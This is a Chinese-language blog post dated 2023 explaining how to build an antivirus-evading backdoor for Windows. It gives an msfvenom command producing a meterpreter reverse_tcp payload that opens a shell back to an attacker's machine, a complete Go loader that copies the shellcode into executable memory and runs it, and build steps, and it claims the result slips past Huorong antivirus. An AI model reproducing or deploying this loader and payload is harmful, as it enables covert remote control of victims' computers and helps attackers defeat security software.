使用msf生成shellcode並用Go免殺?

BadJui發表於2023-04-02

msf生成的裸馬現在已經不行了,加殼也只能加冷門殼了,VMP,Shielden,upx不是失效就是效果很差,所以當下,得用shellcode來免殺了

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻擊機IP LPORT=攻擊機埠 -f raw -o payload.bin

在kali的控制檯裡輸入以上命令,即在當前目錄下生成一個bin檔案,這個bin檔案就是我們的shellcode了。

將1.bin拖到windows裡,用winhex開啟

 

 

 點選編輯-複製所有-十六進位制數值,然後新建一個1.go,在裡面輸入:

package main
import (
    "encoding/hex"
    "syscall"
    "unsafe"
)
func main(){
    sa := "複製結果貼上進來"
    shellcode, _ := hex.DecodeString(sa)
    VirtualAlloc := syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAlloc")
    copyMem := syscall.NewLazyDLL("kernel32.dll").NewProc("RtlMoveMemory")
    addr, _, _ := VirtualAlloc.Call(0,uintptr(len(shellcode)), 0x1000|0x2000, 0x40)
    copyMem.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
    syscall.Syscall(addr, 0, 0, 0, 0)
}

 

將“複製結果貼上進來”替換成剛剛複製的十六進位制數值,然後開啟控制檯,輸入set GOARCH=386 //因為shellcode是32位的

回車,然後在輸入go build 1.go

 

上述只是一個簡單的shellcode載入器,能達到免殺火絨的效果,其他殺軟並未測試,大佬勿噴 

相關文章